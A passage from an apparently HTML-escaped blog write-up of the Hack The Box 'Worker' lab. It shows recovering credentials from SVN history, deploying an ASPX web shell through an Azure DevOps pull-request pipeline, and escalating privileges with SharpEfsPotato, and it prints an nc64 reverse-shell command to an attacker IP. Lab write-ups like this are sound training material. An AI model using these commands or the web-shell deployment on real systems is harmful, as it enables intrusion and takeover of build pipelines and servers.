decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;moved.txt had been deleted, and a new deploy.ps1 had been added.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0398.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Now I understood. Just like on the previous machine, PowerShell had encrypted the password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0399.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;So the plaintext credentials were still:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nathen:wendel98&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Unfortunately, neither WinRM nor devops.worker.htb would accept those credentials.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0400.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I switched to the third revision.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0401.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It had only removed the password, which made sense if the code was going to be open sourced.&lt;/p&gt;&#10;&lt;p&gt;The fourth revision:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0402.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It simply deleted deploy.ps1.&lt;/p&gt;&#10;&lt;p&gt;The fifth revision:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0403.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At this point, the key was clearly the second revision, where the password appeared. But I still did not understand why authentication kept failing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0404.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Yes, something was wrong with the password. On the previous machine, when I learned about PowerShell encryption, the plaintext was the actual password. The point of encrypting it was simply to make it easier to use later, so using the plaintext should have worked. Yet both port 80 and WinRM told me authentication had failed.&lt;/p&gt;&#10;&lt;p&gt;PowerShell is a weak spot for me, so I started trying to understand what that PowerShell script was doing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0405.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Here I learned that pwd was lightly encrypted and then passed to Credential. That credential was then used to execute the following:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start-Process powershell.exe -Credential $Credential -ArgumentList (&amp;#34;-file $args&amp;#34;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start-Process starts a new process to run the following command&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershell.exe -Credential $Credential uses the credentials defined above&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ArgumentList passes arguments&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The final command is&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershell.exe -file Copy-Site.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0406.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;-file passes in Copy-Site.ps1 and then executes it. That made everything click. So, to obtain the password, I currently needed to run:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$user = &amp;#34;nathen&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$plain = &amp;#34;wendel98&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$pwd = ($plain | ConvertTo-SecureString)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Before I started studying the logic of this ps1 file, I had tried running it on my Windows 11 host. It threw an error, so I ignored it at the time. Now I needed to revisit it.&lt;/p&gt;&#10;&lt;p&gt;I could not get this encryption logic to run. I found another method at &lt;a class="link" href="https://stackoverflow.com/questions/28352141/convert-a-secure-string-to-plain-text" target="_blank" rel="noopener"&#10; &gt;https://stackoverflow.com/questions/28352141/convert-a-secure-string-to-plain-text&lt;/a&gt;, but this was the result:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0407.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The encryption was only there to create the credential and served no other purpose. That really was the password. At least I now had an account, so I tried brute forcing it with the wordlist I still had.&lt;/p&gt;&#10;&lt;p&gt;I planned to brute force it with both Burp Suite and crackmapexec.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0408.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0409.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then I continued brute forcing directories on the site. It found a /bin directory that returned 404, but nothing else.&lt;/p&gt;&#10;&lt;p&gt;The brute-force attempts against WinRM and port 80 were also useless. There was still another possibility: wendel98 ended in numbers, so I could generate a new wordlist based on that password.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crunch 8 8 -t wendel%% &amp;gt; new_password.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That wordlist did not work either. I thought I would not need to read a write-up for this machine, but I was stuck again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0410.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0411.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I did not expect to get stuck here.&lt;/p&gt;&#10;&lt;p&gt;I opened a fresh Google Chrome window and finally got in, because for some reason Firefox would not let me log in either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0412.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could not find any Azure DevOps vulnerabilities online. Maybe I needed to download the source code and find something in it? But it was just a static front-end page, with no useful information to extract.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0413.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was an interesting-looking file here, but it was empty when I opened it. I tried checking its history.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0414.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Still nothing. The only idea I had at that point was that uploaded files might be parsed normally, but that was not actually the case. For example, I could not even get the current index.html parsed. I pulled the project locally, but opening it revealed nothing either. I had no good ideas, so I tried Googling.&lt;/p&gt;&#10;&lt;p&gt;Unfortunately, I could not find any way to exploit it. I changed my approach: if Azure DevOps could deploy aspx or asp files, then a successful deployment could also get me a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0415.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found an official Microsoft blog post. My understanding was that using Azure DevOps to manage an application after deploying it was fine, but I could not deploy directly on Azure DevOps itself.&lt;/p&gt;&#10;&lt;p&gt;I started reading a write-up. Even after looking at the next step, I still could not understand how it had been deployed, since this was my first time working with this platform.&lt;/p&gt;&#10;&lt;p&gt;So everything below is just for learning, because this was beyond what I understood at the time. Previously, I would look up an application&amp;rsquo;s RCE process, quickly learn how the application worked, and then get RCE. There was nothing like that here. Instead, I had to learn how to deploy something, exactly like on the previous machine. I was learning from scratch again, and these applications each have their own unique workflows. This was something I had to learn, difficult or not. I would combine Claude with other people&amp;rsquo;s write-ups until I understood it completely, and record my notes below.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.youtube.com/watch?v=scEDHsr3APg" target="_blank" rel="noopener"&#10; &gt;https://www.youtube.com/watch?v=scEDHsr3APg&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This video clearly explains how DevOps CI/CD works.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.redhat.com/zh/topics/devops/what-is-ci-cd" target="_blank" rel="noopener"&#10; &gt;https://www.redhat.com/zh/topics/devops/what-is-ci-cd&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This one goes into a little more detail.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0416.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;CI means that after I make and merge a change to an application, it is deployed automatically. This is similar to what I had just seen in Azure DevOps.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0417.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were lots of projects here, which I had already discovered while brute forcing subdomains. Under pipelines:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0418.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could clearly see the deployment configuration file. This file defined how the project should be published. Its target directory was w:\sites&amp;amp;#20179;管名称.worker.htb, while the project repository was named alpha.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0419.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;So what is CD? It is automated delivery and deployment. As mentioned above, CI automatically merges a project, a little like a push on GitHub. When something is pushed to the main branch, it automatically checks what was added and removed. The difference here is that the process is automated. After CI completes automatically, CD automatically deploys the result—the website we can see.&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;When you submit new code or changes&lt;/li&gt;&#10;&lt;li&gt;The Pipeline runs automatically&lt;/li&gt;&#10;&lt;li&gt;The CopyFiles task copies the files to the corresponding directory&lt;/li&gt;&#10;&lt;li&gt;The IIS server automatically recognizes that directory as a new website&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;At this point, the theory behind the approach was clear.&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Create a new project.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Create a code repository, then initialize it or import existing code.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Create a Pipeline and select the code source, which can simply be the repository we just created. Select &amp;ldquo;Starter pipeline&amp;rdquo; or an existing template.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Configure the Pipeline yaml, which is the configuration file shown above.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Save the Pipeline settings, then use Run Pipeline for the first deployment.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;From then on, whenever a branch is pushed to master or main, the Pipeline runs automatically and deploys the website.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;This was also a little like GitHub Actions. Here is the blog post I used as a reference:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.ruanyifeng.com/blog/2019/09/getting-started-with-github-actions.html" target="_blank" rel="noopener"&#10; &gt;https://www.ruanyifeng.com/blog/2019/09/getting-started-with-github-actions.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Now that I understood the principle, it was time to try it for real. I was not very comfortable with git commands. I had tried pushing projects many times before and eventually succeeded, but I still was not very fluent with the commands. This machine was a good chance to learn them.&lt;/p&gt;&#10;&lt;p&gt;My plan was to do it once from the command line and once through the web GUI.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Clone the alpha project locally, add a file, and push it back&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git clone http://devops.worker.htb/ekenas/SmartHotel360/_git/alpha&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Cloning into &amp;#39;alpha&amp;#39;...&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Username for &amp;#39;http://devops.worker.htb&amp;#39;: nathen&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Password for &amp;#39;http://nathen@devops.worker.htb&amp;#39;:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# remote: Azure Repos&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# remote: Found 54 objects to send. (51 ms)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Unpacking objects: 100% (54/54), 1.47 MiB | 178.00 KiB/s, done.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This time, instead of generating a shell with msfvenom, I will use another approach&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# https://github.com/borjmz/aspx-reverse-shell?ref=secjuice.com I plan to use this&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Place shell.aspx in the alpha project&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Stage the new file in Git&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git add shell.aspx&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Commit the change&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git commit -m &amp;#34;add shell.aspx&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Push it&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git push origin main&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0420.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It failed, saying I did not have permission to push to master. This is a common security measure. By following what other people did, I later learned about another mechanism:&lt;/p&gt;&#10;&lt;p&gt;pull request&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0421.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That completed the attack chain. I could not push directly to master and use the pipeline to publish and deploy the project. I needed to create a new branch, then use the pull requests mechanism to request that it be merged into master. Once the shell.aspx I created appeared in master, it could be published automatically.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Create a local branch&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git checkout -b branch2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Create the remote branch while pushing&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git push --set-upstream origin branch2&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0422.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0423.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It already existed. I originally wanted to complete the entire process from the command line, so I searched for a command-line method for creating a pull request. There did not seem to be such a command, though, so I had to finish through the web interface. That was convenient enough anyway.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0424.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0425.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Just click create.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0426.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Here, we needed to add a reviewer and a work item.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0427.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Adding myself as the reviewer and attaching a work item was enough.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0428.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0429.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After clicking complete merge, it performed the merge.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0430.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0431.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Once the merge finished, I could see that the shell.aspx I created had been uploaded.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0432.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was accessible. Next, I tried creating a branch through the web interface. Creating a branch this way was much easier, so I will not spell it out here.&lt;/p&gt;&#10;&lt;p&gt;In the end, I got a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0433.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Time to escalate privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0434.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could use a Potato exploit for privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;I tried several, and only this one worked. The public directory was writable, so I did everything there.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/bugch3ck/SharpEfsPotato" target="_blank" rel="noopener"&#10; &gt;https://github.com/bugch3ck/SharpEfsPotato&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a &amp;#34; whoami | Set-Content C:\Users\Public\w.log&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0435.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem. I tried getting a reverse shell.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a &amp;#34; C:\Users\Public\nc64.exe 10.10.16.14 7777 -e C:\Windows\System32\cmd.exe&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0436.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;This machine was really interesting and taught me more about working with git. I had uploaded things to GitHub before, but had only picked up a little along the way. This machine expanded on that and taught me about SVN, Azure DevOps, and git workflows. It did a great job of broadening the scope. Still, I had to read write-ups twice while working on it. The first time, I could not log in; the second time, I had no idea what this thing even was. I was completely lost, read the write-up closely, and asked AI for help. None of that is allowed in the OSCP exam. I am not sure whether the exam will throw an application at me that I have never encountered at all, but what I can do is fully learn its logic afterward through write-ups, Google, and AI. I still need to train myself to quickly study and understand an application the first time I see it. Before the Omni and Worker machines, applications usually had a dedicated RCE process, and plenty of people had published RCE workflows for each one. But these two recent machines, Omni and Worker, were different. They were simply normal services. Appending terms like exploit, RCE, or reverse shell to the application name did not lead me to what I needed.&lt;/p&gt;&#10;&lt;p&gt;One thing worth mentioning is that accounts used by services like IIS and MSSQL seem to have SeImpersonatePrivilege. So when you encounter either type of user, the first thing to do is run whoami /priv and then look for a Potato privilege-escalation path.&lt;/p&gt;&#10;&lt;h2 id="18love"&gt;&lt;a href="#18love" 